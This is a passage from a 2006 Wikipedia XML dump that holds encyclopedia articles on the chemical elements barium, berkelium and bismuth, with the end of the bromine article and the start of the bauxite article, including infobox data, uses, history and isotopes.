[[Hydrobromic acid]] (HBr),
[[Iron(III) bromide]] (FeBr&lt;sub&gt;3&lt;/sub&gt;),
[[Lithium bromide]] (LiBr),
[[Phosphorus pentabromide]] (PBr&lt;sub&gt;5&lt;/sub&gt;),
[[Phosphorus tribromide]] (PBr&lt;sub&gt;3&lt;/sub&gt;),
[[Potassium bromide]] (KBr),
[[Potassium bromate]] (KBrO&lt;sub&gt;3&lt;/sub&gt;),
[[Silver bromide]] (AgBr),
[[Sodium bromide]] (NaBr),
[[Sodium bromate]] (NaBrO&lt;sub&gt;3&lt;/sub&gt;),
[[Bromine Monofluoride]] (BrF)

==References==
*[http://periodic.lanl.gov/elements/35.html Los Alamos National Laboratory &amp;ndash; Bromine]

== External links==
{{Commons|Bromine}}
*[http://www.webelements.com/webelements/elements/text/Br/index.html WebElements.com &amp;ndash; Bromine]
*[http://www.theodoregray.com/PeriodicTable/Elements/035/index.s7.html Theodoregray.com &amp;ndash; Bromine]

[[Category:Chemical elements]]
[[Category:Halogens]]

[[ar:بروم]]
[[bs:Brom]]
[[ca:Brom]]
[[cs:Brom]]
[[da:Brom]]
[[de:Brom]]
[[et:Broom]]
[[es:Bromo]]
[[eo:Bromo]]
[[fr:Brome]]
[[ko:브로민]]
[[io:Bromo]]
[[is:Bróm]]
[[it:Bromo]]
[[he:ברום]]
[[lv:Broms]]
[[lt:Bromas]]
[[hu:Bróm]]
[[mi:Pūkane]]
[[nl:Broom]]
[[ja:臭素]]
[[no:Brom]]
[[nn:Brom]]
[[oc:Bròm]]
[[pl:Brom]]
[[pt:Bromo]]
[[ru:Бром]]
[[sl:Brom]]
[[sr:Бром]]
[[fi:Bromi]]
[[sv:Brom]]
[[th:โบรมีน]]
[[vi:Brôm]]
[[tr:Brom]]
[[uk:Бром]]
[[zh:溴]]</text>
    </revision>
  </page>
  <page>
    <title>Barium</title>
    <id>3757</id>
    <revision>
      <id>41599818</id>
      <timestamp>2006-02-28T12:06:52Z</timestamp>
      <contributor>
        <username>Femto</username>
        <id>96285</id>
      </contributor>
      <minor />
      <comment>revert</comment>
      <text xml:space="preserve">:''Barium is also the Latin name for the city [[Bari]] in [[Italy]].''
{{Elementbox_header | number=56 | symbol=Ba | name=barium | left=[[caesium]] | right=[[lanthanum]] | above=[[strontium|Sr]] | below=[[radium|Ra]] | color1=#ffdead | color2=black }}
{{Elementbox_series | [[alkaline earth metal]]s }}
{{Elementbox_groupperiodblock | group=2 | period=6 | block=s }}
{{Elementbox_appearance_img | Ba,56| silvery white }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|137.327]][[List of elements by atomic mass|(7)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 6s&lt;sup&gt;2&lt;/sup&gt; }}
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{{Elementbox_density_gpcm3nrt | 3.51 }}
{{Elementbox_densityliq_gpcm3mp | 3.338 }}
{{Elementbox_meltingpoint | k=1000 | c=727 | f=1341 }}
{{Elementbox_boilingpoint | k=2170 | c=1897 | f=3447 }}
{{Elementbox_heatfusion_kjpmol | 7.12 }}
{{Elementbox_heatvaporiz_kjpmol | 140.3 }}
{{Elementbox_heatcapacity_jpmolkat25 | 28.07 }}
{{Elementbox_vaporpressure_katpa | 911 | 1038 | 1185 | 1388 | 1686 | 2170 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffdead | color2=black }}
{{Elementbox_crystalstruct | cubic body centered }}
{{Elementbox_oxistates | 2&lt;br /&gt;(strongly [[base (chemistry)|basic]] oxide) }}
{{Elementbox_electroneg_pauling | 0.89 }}
{{Elementbox_ionizationenergies3 | 502.9 | 965.2 | 3600 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|215]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|253]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|198]] }}
{{Elementbox_section_miscellaneous | color1=#ffdead | color2=black }}
{{Elementbox_magnetic | [[paramagnetism|paramagnetic]] }}
{{Elementbox_eresist_ohmmat20 | 332 n}}
{{Elementbox_thermalcond_wpmkat300k | 18.4 }}
{{Elementbox_thermalexpansion_umpmkat25 | 20.6 }}
{{Elementbox_speedofsound_rodmpsat20 | 1620 }}
{{Elementbox_youngsmodulus_gpa | 13 }}
{{Elementbox_shearmodulus_gpa | 4.9 }}
{{Elementbox_bulkmodulus_gpa | 9.6 }}
{{Elementbox_mohshardness | 1.25 }}
{{Elementbox_cas_number | 7440-39-3 }}
{{Elementbox_isotopes_begin | isotopesof=barium | color1=#ffdead | color2=black }}
{{Elementbox_isotopes_stable | mn=130 | sym=Ba | na=0.106% | n=74 }}
{{Elementbox_isotopes_stable | mn=132 | sym=Ba | na=0.101% | n=76 }}
{{Elementbox_isotopes_decay | mn=133 | sym=Ba
 | na=[[synthetic radioisotope|syn]] | hl=10.51 [[year|y]]
 | dm=[[electron capture|&amp;epsilon;]] | de=0.517 | pn=133 | ps=[[caesium|Cs]] }}
{{Elementbox_isotopes_stable | mn=134 | sym=Ba | na=2.417% | n=78 }}
{{Elementbox_isotopes_stable | mn=135 | sym=Ba | na=6.592% | n=79 }}
{{Elementbox_isotopes_stable | mn=136 | sym=Ba | na=7.854% | n=80 }}
{{Elementbox_isotopes_stable | mn=137 | sym=Ba | na=11.23% | n=81 }}
{{Elementbox_isotopes_stable | mn=138 | sym=Ba | na=71.7% | n=82 }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffdead | color2=black }}

'''Barium''' is a toxic [[chemical element]] in the [[periodic table]] that has the symbol '''Ba''' and [[atomic number]] 56. A soft silvery [[metal]]lic element, barium is an [[alkaline earth metal]] and melts at a very high [[temperature]]. Its oxide is called [[baryta]] and it is primarily found in the [[mineral]] [[barite]] but is never found in its pure form due to its [[reactivity]] with [[Earth's atmosphere|air]]. Compounds of this metal are used in small quantities in [[paint]]s and in [[glass]]making.

== Notable characteristics ==
Barium is a [[metal]]lic element that is chemically similar to [[calcium]], yet is soft and in its pure form is silvery white resembling [[lead]]. This metal [[oxidation|oxidizes]] very easily when exposed to air and is highly [[chemical reaction|reactive]] with [[water (molecule)|water]] or [[alcohol]]. Barium decomposes water or [[alcohol]]. Some of the compounds of this element are remarkable for their high [[specific gravity]], as is its [[sulfate]]: [[barite]] Ba(SO&lt;sub&gt;4&lt;/sub&gt;) also called heavy spar.

== Applications ==
Barium is primarily used in [[sparkplug]]s, [[vacuum tube]]s, [[fireworks]], and in [[fluorescent lamp]]s.
Also:
*A &quot;[[getter]]&quot; in vacuum tubes.
*[[Barium sulfate]] is permanent white and is used in [[paint]], in [[X-ray]] diagnostic work, and in [[glass]]making.
*[[Barite]] is used extensively as a weighing agent in [[oil well]] drilling fluids and in [[rubber]] production.
*[[Barium carbonate]] is a useful [[rat poison]] and can also be used in making glass and [[brick]]s, while [[barium nitrate]] and [[barium chlorate|chlorate]] give green colors in fireworks.
*Impure [[barium sulfide]] [[phosphorescence|phosphoresces]] after exposure to the [[light]].
*Barium [[salt]]s, especially [[barium sulfate]], are sometimes given orally (a [[barium meal]]) or as an [[enema]], to increase the contrast of [[medicine|medical]] [[X-ray]]s of the [[digestive system]].
*[[Lithopone]], a [[pigment]] that contains [[barium sulfate]] and [[zinc sulfide]], has good covering power, and does not darken in when exposed to sulfides.
*[[Barium peroxide]] can be used as a catalyst to start an [[aluminothermic reaction]] when welding rail tracks together.

== History ==
Barium ([[Greek language|Greek]] &quot;barys&quot; meaning &quot;heavy&quot;) was first identified in [[1774]] by [[Carl Scheele]] and extracted in [[1808]] by Sir [[Humphry Davy]] in [[England]]. The oxide was at first called barote, by [[Guyton de Morveau]], which was changed by [[Antoine Lavoisier]] to baryta, which soon was modified to &quot;barium&quot; to describe the metal.

== Occurrence ==
Because barium quickly becomes oxidized in air, it is difficult to obtain this metal in its pure form. It is primarily found in and extracted from the [[mineral]] [[barite]] which is crystalized barium sulfate. Barium is commercially produced through the [[electrolysis]] of molten [[barium chloride]] (BaCl&lt;sub&gt;2&lt;/sub&gt;)
''Isolation'' (* follow):&lt;br /&gt;
:([[cathode]]) Ba&lt;sup&gt;2+&lt;/sup&gt;* + 2[[electron|e&lt;sup&gt;-&lt;/sup&gt;]] &amp;rarr; Ba ([[anode]]) Cl&lt;sup&gt;-&lt;/sup&gt;* &amp;rarr; ½Cl&lt;sub&gt;2&lt;/sub&gt; ([[gas|g]]) + e&lt;sup&gt;-&lt;/sup&gt;

== Compounds ==
The most important compounds are [[barium peroxide]], [[barium chloride|chloride]], [[barium sulfate|sulfate]], [[barium carbonate|carbonate]], [[barium nitrate|nitrate]], and [[barium chlorate|chlorate]].
;See also [[:category:Barium compounds]]

== Isotopes ==
Naturally occurring barium is a mix of seven stable [[isotope]]s. There are twenty-two isotopes known, but most of these are highly [[radioactive]] and have [[half-life]]s in the several millisecond to several minute range. The only notable exception is barium-133 which has a half-life of 10.51 years.

== Precautions ==
All water or acid [[soluble]] barium compounds are extremely [[poison]]ous. [[Barium sulfate]] can be used in medicine only because it does not dissolve, and is eliminated completely from the digestive tract. Unlike other [[heavy metals]] however, barium does not [[bioaccumulation|bioaccumulate]]. [http://www.epa.gov/region5/superfund/ecology/html/toxprofiles.htm#ba]

[[Oxidation]] occurs very easily and, to remain pure, barium should be kept under a petroleum-based fluid (such as [[kerosene]]) or other suitable [[oxygen]]-free liquids that exclude air.

== External links ==
{{Commons|Barium}}
* [http://www.webelements.com/webelements/elements/text/Ba/index.html WebElements.com &amp;ndash; Barium]

[[Category:Chemical elements]]
[[Category:Alkaline earth metals]]
[[Category:Toxicology]]

&lt;!-- interwiki --&gt;

{{Link FA|de}}

[[bg:Барий]]
[[bs:Barijum]]
[[ca:Bari]]
[[cs:Baryum]]
[[de:Barium]]
[[et:Baarium]]
[[el:Βάριο]]
[[es:Bario]]
[[eo:Bario]]
[[fr:Baryum]]
[[gl:Bario (elemento)]]
[[ko:바륨]]
[[hr:Barij]]
[[io:Bario]]
[[is:Barín]]
[[it:Bario]]
[[he:בריום]]
[[ku:Baryûm]]
[[la:Barium (Chemica)]]
[[lv:Bārijs]]
[[lt:Baris]]
[[hu:Bárium]]
[[mi:Konu-okehu]]
[[nl:Barium]]
[[ja:バリウム]]
[[no:Barium]]
[[nn:Barium]]
[[pl:Bar (pierwiastek)]]
[[pt:Bário]]
[[ru:Барий]]
[[sl:Barij]]
[[sr:Баријум]]
[[fi:Barium]]
[[sv:Barium]]
[[th:แบเรียม]]
[[tr:Baryum]]
[[uk:Барій]]
[[zh:钡]]</text>
    </revision>
  </page>
  <page>
    <title>Berkelium</title>
    <id>3758</id>
    <revision>
      <id>41411967</id>
      <timestamp>2006-02-27T03:42:53Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Polonium|Polonium]] ([[User talk:Polonium|talk]]) to last version by Edgar181</comment>
      <text xml:space="preserve">{{Elementbox_header | number=97 | symbol=Bk | name=berkelium | left=[[curium]] | right=[[californium]] | above=[[terbium|Tb]] | below=(Uqs) | color1=#ff99cc | color2=black }}
{{Elementbox_series | [[actinide]]s }}
{{Elementbox_periodblock | period=7 | block=f }}
{{Elementbox_appearance | unknown, probably silvery&lt;br /&gt;white or metallic gray }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(247)]] }}
{{Elementbox_econfig | &amp;#91;[[radon|Rn]]&amp;#93; 5f&lt;sup&gt;9&lt;/sup&gt; 7s&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 32, 27, 8, 2 }}
{{Elementbox_section_physicalprop | color1=#ff99cc | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | (alpha) 14.78 }}
{{Elementbox_density_gpcm3nrt | (beta) 13.25 }}
{{Elementbox_meltingpoint | k=(beta) 1259 | c=986 | f=1807 }}
{{Elementbox_section_atomicprop | color1=#ff99cc | color2=black }}
{{Elementbox_electroneg_pauling | 1.3 }}
{{Elementbox_ionizationenergies1 | 601 }}
{{Elementbox_section_miscellaneous | color1=#ff99cc | color2=black }}
{{Elementbox_magnetic | no data }}
{{Elementbox_thermalcond_wpmkat300k | 10 }}
{{Elementbox_cas_number | 7440-40-6 }}
{{Elementbox_isotopes_begin | isotopesof=berkelium | color1=#ff99cc | color2=black }}
{{Elementbox_isotopes_decay2 | mn=245 | sym=Bk
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E5 s|4.94 d]]
 | dm1=[[electron capture|&amp;epsilon;]] | de1=0.810 | pn1=245 | ps1=[[curium|Cm]]
 | dm2=[[alpha emission|&amp;alpha;]] | de2=6.455 | pn2=241 | ps2=[[americium|Am]] }}
{{Elementbox_isotopes_decay2 | mn=246 | sym=Bk
 | na=[[synthetic radioisotope|syn]] | hl=1.8 [[day|d]]
 | dm1=&amp;alpha; | de1=6.070 | pn1=242 | ps1=[[americium|Am]]
 | dm2=&amp;epsilon; | de2=1.350 | pn2=246 | ps2=[[curium|Cm]] }}
{{Elementbox_isotopes_decay | mn=247 | sym=Bk
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E10 s|1380 y]]
 | dm=&amp;alpha; | de=5.889 | pn=243 | ps=[[americium|Am]] }}
{{Elementbox_isotopes_decay | mn=248 | sym=Bk
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E8 s|&gt;9 y]]
 | dm=&amp;alpha; | de=5.803 | pn=244 | ps=[[americium|Am]] }}
{{Elementbox_isotopes_decay3 | mn=249 | sym=Bk
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E7 s|320 d]]
 | dm1=&amp;alpha; | de1=5.526 | pn1=245 | ps1=[[americium|Am]]
 | dm2=[[spontaneous fission|SF]] | de2=- | pn2= | ps2=-
 | dm3=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de3=0.125 | pn3=249 | ps3=[[californium|Cf]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff99cc | color2=black }}

'''Berkelium''' is a [[synthetic element]] in the [[periodic table]] that has the symbol Bk and [[atomic number]] 97. A [[radioactive]] [[metal]]lic element in the [[actinide]] series, berkelium was first synthesized by bombarding [[americium]] with [[alpha particle]]s ([[helium]] [[ion]]s) and was named after [[Berkeley, California]]. Berkelium was the fifth [[transuranic element]] to be synthesized.

== Notable characteristics ==
Weighable amounts of berkelium-249 (half-life 314 days) make it possible to determine some of its properties using macroscopic quantities.  [[As of 2004]] it had not been isolated in its elemental form, but it is predicted to be a silvery metal that would easily [[oxidation | oxidize]] in air at elevated temperatures and would be [[solubility | soluble]] in dilute [[mineral acid]]s.

[[X-ray diffraction]] techniques have been used to identify various berkelium [[compound (chemistry)|compound]]s such as  berkelium dioxide (BkO&lt;sub&gt;2&lt;/sub&gt;), berkelium fluoride (BkF&lt;sub&gt;3&lt;/sub&gt;), berkelium oxychloride (BkOCl), and berkelium trioxide (BkO&lt;sub&gt;3&lt;/sub&gt;). In [[1962]] visible amounts of berkelium [[chloride]] were isolated that weighed 3 billionths of a [[gram]]. This was the first time visible amounts of a pure berkelium compound were produced.

Like other actinides, berkelium [[bio-accumulate]]s in [[skeleton | skeletal]] tissue. This element has no known uses outside of basic research and plays no biological role.

==History ==
Berkelium was [[discovery of the chemical elements|first synthesized]] by [[Glenn T. Seaborg]], [[Albert Ghiorso]], Stanley G. Thompson, and Kenneth Street, Jr at the [[University of California, Berkeley]] in December [[1949]]. The team used a [[cyclotron]] to bombard a [[milligram]]-sized target of [[americium]]-241 with [[alpha particle]]s to produce berkelium-243 ([[half-life]] 4.5 hours) and two [[free neutron]]s. One of the longest lived [[isotope]]s of the element, berkelium-249 (half-life 320 days), was later synthesized by subjecting a [[curium]]-244 target with an intense beam of [[neutron]]s.

== Isotopes ==
19 [[radioisotope]]s of berkelium have been characterized, with the most stable being Bk-247 with a [[half-life]] of 1380 years, Bk-248 with a half-life of &gt;9 years, and Bk-249 with a half-life of 320 days.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 5 days, and the majority of these have half lifes that are less than 5 hours. This element also has 2 [[meta state]]s, with the most stable being Bk-248m (t&lt;sub&gt;½&lt;/sub&gt; 23.7 hours). The isotopes of berkelium range in [[atomic weight]] from 235.057 [[atomic mass unit|amu]] (Bk-235) to 254.091 amu (Bk-254).

==References==
*[http://periodic.lanl.gov/elements/97.html Los Alamos National Laboratory - Berkelium]
*[http://education.jlab.org/itselemental/ele097.html It's Elemental - Berkelium]

== External links ==
{{Commons|Berkelium}}
*[http://www.webelements.com/webelements/elements/text/Bk/index.html WebElements.com - Berkelium]

[[Category:Chemical elements]]
[[Category:Actinides]]
[[Category:University of California, Berkeley]]

[[bs:Berkelium]]
[[ca:Berkeli]]
[[cs:Berkelium]]
[[de:Berkelium]]
[[et:Berkeelium]]
[[el:Μπερκέλιο]]
[[es:Berkelio]]
[[eo:Berkelio]]
[[fr:Berkélium]]
[[ko:버클륨]]
[[io:Berkelio]]
[[it:Berkelio]]
[[he:ברקליום]]
[[lt:Berklis]]
[[hu:Berkélium]]
[[nl:Berkelium]]
[[ja:バークリウム]]
[[nn:Berkelium]]
[[pl:Berkel]]
[[pt:Berkélio]]
[[ru:Берклий]]
[[sl:Berkelij]]
[[sr:Берклијум]]
[[fi:Berkelium]]
[[sv:Berkelium]]
[[th:เบอร์คีเลียม]]
[[uk:Берклій]]
[[zh:锫]]</text>
    </revision>
  </page>
  <page>
    <title>Bismuth</title>
    <id>3759</id>
    <revision>
      <id>41760420</id>
      <timestamp>2006-03-01T15:27:16Z</timestamp>
      <contributor>
        <username>Eaolson</username>
        <id>179734</id>
      </contributor>
      <comment>rvv suspected vandalism by [[w:Special:Contributions/24.91.126.238|24.91.126.238]]</comment>
      <text xml:space="preserve">{{Elementbox_header | number=83 | symbol=Bi | name=bismuth | left=[[lead]] | right=[[polonium]] | above=[[antimony|Sb]] | below=[[ununpentium|Uup]] | color1=#cccccc | color2=black }}
{{Elementbox_series | [[poor metal]]s }}
{{Elementbox_groupperiodblock | group=15 | period=6 | block=p }}
{{Elementbox_appearance_img | Bi,83| lustrous reddish white }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|208.98040]][[List of elements by atomic mass|(1)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 4f&lt;sup&gt;14&lt;/sup&gt; 5d&lt;sup&gt;10&lt;/sup&gt; 6s&lt;sup&gt;2&lt;/sup&gt; 6p&lt;sup&gt;3&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 32, 18, 5 }}
{{Elementbox_section_physicalprop | color1=#cccccc | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 9.78 }}
{{Elementbox_densityliq_gpcm3mp | 10.05 }}
{{Elementbox_meltingpoint | k=544.7 | c=271.5 | f=520.7 }}
{{Elementbox_boilingpoint | k=1837 | c=1564 | f=2847 }}
{{Elementbox_heatfusion_kjpmol | 11.30 }}
{{Elementbox_heatvaporiz_kjpmol | 151 }}
{{Elementbox_heatcapacity_jpmolkat25 | 25.52 }}
{{Elementbox_vaporpressure_katpa | 941 | 1041 | 1165 | 1325 | 1538 | 1835 | comment= }}
{{Elementbox_section_atomicprop | color1=#cccccc | color2=black }}
{{Elementbox_crystalstruct | rhombohedral }}
{{Elementbox_oxistates | '''3''', 5&lt;br /&gt;(mildly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 2.02 }}
{{Elementbox_ionizationenergies4 | 703 | 1610 | 2466 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|160]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|143]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|146]] }}
{{Elementbox_section_miscellaneous | color1=#cccccc | color2=black }}
{{Elementbox_magnetic | [[diamagnetism|diamagnetic]] }}
{{Elementbox_eresist_ohmmat20 | 1.29 µ}}
{{Elementbox_thermalcond_wpmkat300k | 7.97 }}
{{Elementbox_thermalexpansion_umpmkat25 | 13.4 }}
{{Elementbox_speedofsound_rodmpsat20 | 1790 }}
{{Elementbox_youngsmodulus_gpa | 32 }}
{{Elementbox_shearmodulus_gpa | 12 }}
{{Elementbox_bulkmodulus_gpa | 31 }}
{{Elementbox_poissonratio | 0.33 }}
{{Elementbox_mohshardness | 2.25 }}
{{Elementbox_brinellhardness_mpa | 94.2 }}
{{Elementbox_cas_number | 7440-69-9 }}
{{Elementbox_isotopes_begin | isotopesof=bismuth | color1=#cccccc | color2=black }}
{{Elementbox_isotopes_decay | mn=207 | sym=Bi
 | na=[[synthetic radioisotope|syn]] | hl=31.55 [[year|y]]
 | dm=[[electron capture|&amp;epsilon;]] | de=2.399 | pn=207 | ps=[[lead|Pb]] }}
{{Elementbox_isotopes_decay | mn=208 | sym=Bi
 | na=[[synthetic radioisotope|syn]] | hl=3,368,000 [[year|y]]
 | dm=[[electron capture|&amp;epsilon;]] | de=2.880 | pn=208 | ps=[[lead|Pb]] }}
{{Elementbox_isotopes_decay | mn=209 | sym=Bi
 | na=100% | hl=(1.9±0.2) &amp;times;10&lt;sup&gt;19&lt;/sup&gt;[[year|y]]
 | dm=[[alpha emission|&amp;alpha;]] | de=&amp;nbsp; | pn=205 | ps=[[thallium|Tl]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#cccccc | color2=black }}

'''Bismuth''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Bi''' and [[atomic number]] 83.  This heavy, brittle, white crystalline trivalent [[poor metal]] has a pink tinge and chemically resembles [[arsenic]] and [[antimony]]. Of all the metals, it is the most naturally [[diamagnetic]], and only [[mercury (element)|mercury]] has less [[thermal]] [[conductivity]]. [[Lead]]-free bismuth compounds are used in [[cosmetics]] and in medical procedures.

== Notable characteristics ==
It is a brittle [[metal]] with a pinkish hue and an iridescent tarnish.  Among the [[heavy metal (chemistry)|heavy metal]]s, bismuth is unusual in that its toxicity is much lower than that of its neighbors in the periodic table such as [[lead]], [[thallium]] and [[antimony]]. Traditionally, it has also been regarded as the element with the heaviest stable [[isotope]], but this is now known to be untrue (see below). No other metal is more naturally [[diamagnetic]] (as opposed to [[superdiamagnetism|superdiamagnetic]]) than bismuth. It occurs in its native form, and has a high [[electrical resistance]]. Of any metal, it has the second lowest [[thermal conductivity]] and the highest [[Hall effect]]. When combusted with [[oxygen]], bismuth burns with a [[blue]] flame and its [[bismuth oxide|oxide]] forms [[yellow]] fumes.

Bismuth has long been thought to be unstable on theoretical grounds, but not until [[2003]] was this demonstrated when researchers at the [[Institut d'Astrophysique Spatiale]] in [[Orsay]], [[France]] measured the [[alpha emission]] [[half-life]] of Bi-209 to be [[1 E19 s and more|1.9&amp;nbsp;&amp;times;&amp;nbsp;10&lt;sup&gt;19&lt;/sup&gt; years]], meaning that bismuth is very slightly radioactive, with a half-life over a billion times longer than the current estimated [[age of the universe]].  Due to this phenomenal half-life, bismuth can be treated as if it is stable and non-radioactive.  Ordinary food containing typical amounts of [[Carbon-14]] is many thousands of times more radioactive than bismuth, as are our own bodies.  However, the radioactivity is of academic interest because bismuth is one of few elements whose radioactivity was suspected, and indeed theoretically predicted, before being detected in the lab.

== Applications ==
[[Bismuth oxychloride]] is extensively used in [[cosmetics]] and [[bismuth subnitrate]] and [[bismuth subcarbonate|subcarbonate]] are used in medicine.  [[Bismuth subsalicylate]] (Pepto-Bismol®) is used as an [[diarrhea|antidiarrheal]].
Some other current uses are:
*Strong permanent [[magnet]]s can be made from the alloy [[bismanol]] ([[manganese|Mn]]Bi).
*Many bismuth [[alloy]]s have low [[melting point]]s and are widely used for fire detection and suppression system safety devices.
*Bismuth is used in producing malleable irons.
*Bismuth is finding use as a catalyst for making acrylic fibers.
*Also used as a [[thermocouple]] material (bismuth has the highest negativity known).
*A carrier for [[uranium|U]]-235 or U-233 fuel in [[nuclear reactor]]s.
*Bismuth has also been used in [[solder]]s. The fact that bismuth and many of its [[alloy]]s expand slightly when they solidify make them ideal for this purpose.
*Bismuth subnitrate is a component of [[glaze]]s that produces an [[iridescent]] luster finish.
*Bismuth is sometimes used in the production of [[shotgun|shot]] and [[shotgun slug]]s. Its advantage over [[lead]] in this respect is that is non-toxic so is therefore legal in the [[UK]] for the shooting of wetland birds.

In the early [[1990s]], research began to evaluate bismuth as a nontoxic replacement for lead in various applications:
*As noted above, bismuth has been used in solders; its low toxicity will be especially important for solders to be used in food processing equipment.
*As an ingredient of [[ceramic]] [[glaze]]s
*As an ingredient in free-machining [[brass]]es for [[plumbing]] applications
*As an ingredient in free-cutting steels for precision machining properties
*As a catalyst for making acrylic fibres
*As a carrier for uranium fuel in nuclear reactors
*In low-melting alloys used in fire detection and extinguishing systems
*As an ingredient in [[lubrication|lubricating]] [[grease (lubricant)|grease]]s
*As a dense material for [[fishing]] sinkers.

== Crystals ==
[[Image:Bismuth_crystal_macro.jpg|thumb|300px|Synthetic Bismuth crystal]]
Though virtually unseen in nature, high-purity bismuth can form into distinctive [[hopper crystal]]s. These colorful laboratory creations are typically sold to hobbyists.

== History ==
Bismuth ([[New Latin]] ''bisemutum'' from [[German language|German]] ''Wismuth'', perhaps from ''weiße Masse'', &quot;white mass&quot;) was confused in early times with [[tin]] and [[lead]] due to its resemblance to those elements. [[Claude Geoffroy|Claude Geoffroy le Jeune]] (Claude Geoffroy the younger) showed in [[1753]] that this metal is distinct from lead.

== Occurrence ==
The most important [[ore]]s of bismuth are [[bismuthinite]] and [[bismite]]. [[Canada]], [[Bolivia]], [[Japan]], [[Mexico]], and [[Peru]] are major producers. Bismuth produced in the [[United States]] is obtained as a by-product of [[copper]], [[gold]], [[silver]], [[tin]] and especially [[lead]] ore processing.  The average price for bismuth in 2000 was [[United States dollar|US$]]7.70 per kilogram.
; see also [[:Category:Bismuth minerals]]

== References ==
*[http://periodic.lanl.gov/elements/83.html Los Alamos National Laboratory - Bismuth]

== External links ==
{{Commons|Bismuth}}
*[http://www.webelements.com/webelements/elements/text/Bi/index.html WebElements.com - Bismuth]
*[http://physicsweb.org/article/news/7/4/16 Bismuth breaks half-life record for alpha decay]

[[Category:Chemical elements]]
[[Category:Pnictogens]]
[[Category:Poor metals]]

[[ca:Bismut]]
[[cs:Bismut]]
[[da:Bismuth]]
[[de:Bismut]]
[[et:Vismut]]
[[es:Bismuto]]
[[eo:Bismuto]]
[[fr:Bismuth]]
[[ko:비스무트]]
[[io:Bismuto]]
[[is:Bismút]]
[[it:Bismuto]]
[[he:ביסמוט]]
[[ku:Bîzmût]]
[[la:Bisemutum]]
[[lv:Bismuts]]
[[lt:Bismutas]]
[[hu:Bizmut]]
[[nl:Bismut]]
[[ja:ビスマス]]
[[no:Vismut]]
[[nn:Vismut]]
[[oc:Bismut]]
[[pl:Bizmut]]
[[pt:Bismuto]]
[[ru:Висмут]]
[[sr:Бизмут]]
[[fi:Vismutti]]
[[sv:Vismut]]
[[th:บิสมัท]]
[[vi:Bitmut]]
[[uk:Вісмут]]
[[zh:铋]]</text>
    </revision>
  </page>
  <page>
    <title>Bauxite</title>
    <id>3760</id>
    <revision>
      <id>41779915</id>
      <timestamp>2006-03-01T18:20:01Z</timestamp>
      <contributor>
        <username>Pixel8</username>
        <id>84632</id>
      </contributor>
      <minor />
      <comment>link</comment>
      <text xml:space="preserve">[[Image:BauxiteUSGOV.jpg|thumb|Bauxite with penny]]
[[Image:Mineraly.sk - bauxit.jpg|thumb|Bauxite (pebbly)]]
'''Bauxite''' is a naturally occurring, [[heterogeneous]] material composed primarily of one or more [[aluminium]] [[hydroxide]] [[mineral]]s, plus various mixtures of [[silica]], [[iron]] oxide, [[titanium dioxide|titania]], aluminium silicates, and other impurities in minor or trace amounts. Bauxite is a [[sedimentary rock]] produced by ''in situ'' chemical [[weathering]] typically under tropical to subtropical climate conditions.

The principal [[aluminium hydroxide]] minerals found in varying proportions with bauxites are [[gibbsite]] and the polymorphs [[boehmite]] and [[diaspore]].  Bauxites are typically classified according to their intended commercial application:  abrasive, cement, chemical, metallurgical, refractory, etc.

The bulk of world bauxite production (approximately 85%) is processed into [[Aluminium oxide|aluminium oxide]] (Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;, also known as [[alumina]]) via a wet chemical, caustic leach method (the [[Bayer process]]). The resulting Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt; is then [[Redox|reduced]] to aluminium metal (Al) using an [[electrolysis|electrolytic]] process, the [[Hall-Heroult process]].

Bauxite is the raw material most widely used in the production of aluminium on a commercial scale. Other raw materials, such as [[anorthosite]], [[alunite]], [[coal]] wastes, and [[oil shale]]s, offer additional potential Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt; sources. Although it would require new facilities and technology, Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt; from these nonbauxitic materials could satisfy the demand for primary metal, refractories, aluminium chemicals, and abrasives. Synthetic [[mullite]], produced from [[kyanite]] and
[[sillimanite]], substitutes for bauxite-based refractories. Although more costly, [[silicon carbide]] and [[alumina-zirconia]]
substitute for bauxite-based abrasives.

==History==
''Bauxite'' was named after the village [[Les Baux de Provence]] in southern [[France]], where it was first discovered in [[1821]] by the [[geologist]] [[Pierre Berthier]].

Due to the exhaustion of its bauxite mines, France has almost completely ceased the exploitation of bauxite since [[1991]]. French mines were located in the [[Var]], [[Bouches-du-Rhône]] and [[Herault]] ''[[département in France|département]]s''.

== World Bauxite Mine Production, Reserves, and Reserve Base ==

 (x1000 [[tonne]])
                        Mine production    Reserves    Reserve base
                         2000     2001
 -------------------------------------------------------------------
 [[Australia]]              53,800   53,500   3,800,000     7,400,000
